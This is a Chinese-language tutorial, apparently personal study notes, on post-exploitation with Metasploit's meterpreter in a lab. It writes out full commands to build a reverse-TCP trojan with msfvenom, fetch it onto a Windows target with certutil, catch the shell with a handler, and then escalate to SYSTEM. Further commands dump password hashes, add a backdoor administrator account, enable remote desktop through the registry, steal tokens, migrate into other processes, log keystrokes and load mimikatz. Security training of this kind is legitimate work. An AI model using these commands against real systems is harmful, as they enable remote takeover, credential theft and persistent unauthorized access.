meterpreter的使用
meterpreter是metasploit中的一个杀手锏,通常在漏洞利用成功后,会返回给攻击者一个攻击通道,其中有很多自动化操作
场景布置
生成木马
首先,我们使用metasploit中的另一个后门工具msfvenom
生成一个木马,方便我们测试meterpreter
msfvenom -p windows/meterpreter/reverse_tcp LHOST=攻击机IP LPORT=1234 -f exe -o /root/shell.exe
在/root目录生成了一个shell.exe文件,执行该程序回连地址为172.16.1.103端口为1234的木马
将木马共享到windows电脑
service apache2 start
打开Web服务
cp /root/shell.exe /var/www/html/
,拷贝到Web服务目录
在靶机中执行命令下载木马到C:\
根目录并使用dir
查看
certutil -urlcache -split -f http://172.16.1.103/shell.exe C:\shell.exe
在msfconsole
控制台执行监听
- [use exploit/multi/handler]
[set payload windows/meterpreter/reverse_tcp]
[set LHOST 172.16.1.103]
[set LPORT 1234]
[run] 开始监听即可
靶机执行shell.exe即可反弹meterpreter
meterpreter的使用
meterpreter最出名的就是其接口的方便性,提权,各种命令应有尽有
help查看帮助
会显示所有命令的帮助信息,例如background
后台运行我们的会话
background后台运行我们的会话
如果想要连接我们的会话,使用msfconsole
中学习的sessions
命令可以来连接
sysinfo 查看靶机系统相关信息
exit断开并退出会话
exit
会把会话直接断开
对文件操作的有这些
很容易理解,这些和linux使用的方法是一样的,这里不在一一使用
注意的是:meterpreter中的操作是相对于会话中对我们靶机的操作,而不是攻击机本身
getuid 查看当前会话权限
发下我们获取的管理员的权限,因为是管理员执行的我们的木马。如果是一个低权限用户执行的我们的木马,那么我们的获取的会话也是低权限的用户
getsystem 获取操作系统权限
system:操作系统权限
这个操作大部分情况下是不成功的,因为这个操作是只有我们获取的会话是管理员权限
,才可以提权为system
权限
那么为什么要获取system
权限呢,获取system
权限我们可以直接使用hashdump
把密码hash值导出,使我们对靶机的控制更加方便
hashdump 导出系统中密码的hash值
通过 sam 文件导出系统用户的 hash值,前提是需要获取system
权限,有时候获取了system
权限我们也无法执行
但是,msfconsole
中有导出hash的模块,需要在meterpreter
中run 模块路径
执行
run post/windows/gather/smart_hashdump
获取hash
shell 进入会话靶机终端
这里的权限会跟随meterpreter的权限
若想返回meterpreter控制台,输入exit
退出即可
在进入命令行后,中文可能出现乱码
chcp 65001
将终端编码改为英文即可
run getgui -e 开启远程远程桌面
可以试一试能不能开启,权限越高,越容易开启
这里使用了netstat
查看靶机端口的开放情况,可以看到3389
端口已经被我们开启
开启后,如果我们通过hashdump
破解的管理员或者其他用户的密码,可以使用用户名密码直接连接
当然我们也可以主机创建用户
net user hacker Admin123 /add
和net localgroup administratos hacker /add
创建hacker用户并将hacker用户加入管理员组
若run getgui -e
没有开启3389远程桌面
,我们可以使用cmd命令
打开3389服务
REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
使用netstat -an
查看
netstat 查看靶机端口开放状态
ps 查看靶机进程
会显示靶机运行的进程的进程号,父进程号,运行的名称,多少位,运行的用户是,运行的程序的位置
进程号很有用,后面有两个关于进程的提权
steal_token 窃取用户进程令牌
在系统中,一个程序需要用户来运行,运行到内存中就变成了进程,steal_token
可以伪装为指定进程的所运行的用户
例如notepad.exe是Administrator用于运行的
,那么steal_token
只需要指定notepad.exe
的进程号,就可以将我们的权限伪装为Administrator
ps 查看进程
可以看到svchost.exe
的进程为1268
,运行的用户是NT AUTHORRITY/SYSTEM
,拥有system
权限的system用户
steal_token 1268
伪装system
在我们伪装后,权限就变为了system
migrate 内存迁移
这个内存迁移
就是将我们现在反弹shell的进程转换到一个安全的进程上,作用和steal_token
差不多,不一样的是steal_token
只是已这个进程的权限执行命令,而我们是直接切换到了这个进程,如果将该进程杀死,我们的shell
也会关闭,不过一般执行该操作也需要得到system
或管理员
的权限
ps 查看进程
conhost.exe
的进程为2200
,运行的用户是Administrator
使用内存迁移,获取administrator
,这里我们的权限是system
,可以说一个权限的降级
注意,这里只是为了演示进行的降级,一般情况下,肯定权限越高越好
migrate 2200
通过getuid
获取到现在是Administrator
权限
当使用内存迁移
的时候,建议不要迁移到低权限
的用户,不然权限会变低,而且无法提升权限
迁移到另一个进程将有助于 Meterpreter
与其交互。例如,如果您看到一个文字处理器在目标上运行(例如 word.exe
、notepad.exe
等),您可以迁移到它并开始捕获用户发送到该进程的击键。某些 Meterpreter 版本将为您提供keyscan_start
、 keyscan_stop
和keyscan_dump
命令选项,使 Meterpreter 像键盘记录器一样工作。迁移到另一个进程也可以帮助您拥有更稳定的 Meterpreter 会话。
要迁移到任何进程,您需要键入 migrate
命令,然后键入所需目标进程的 PID
load 加载其他插件
在meterpreter
中也可插入其他插件,例如mimimatz
,不用下载,在meterpreter中有内置
在help
中会有mimikatz
插件的帮助
mimikatz还没有学习,后续学习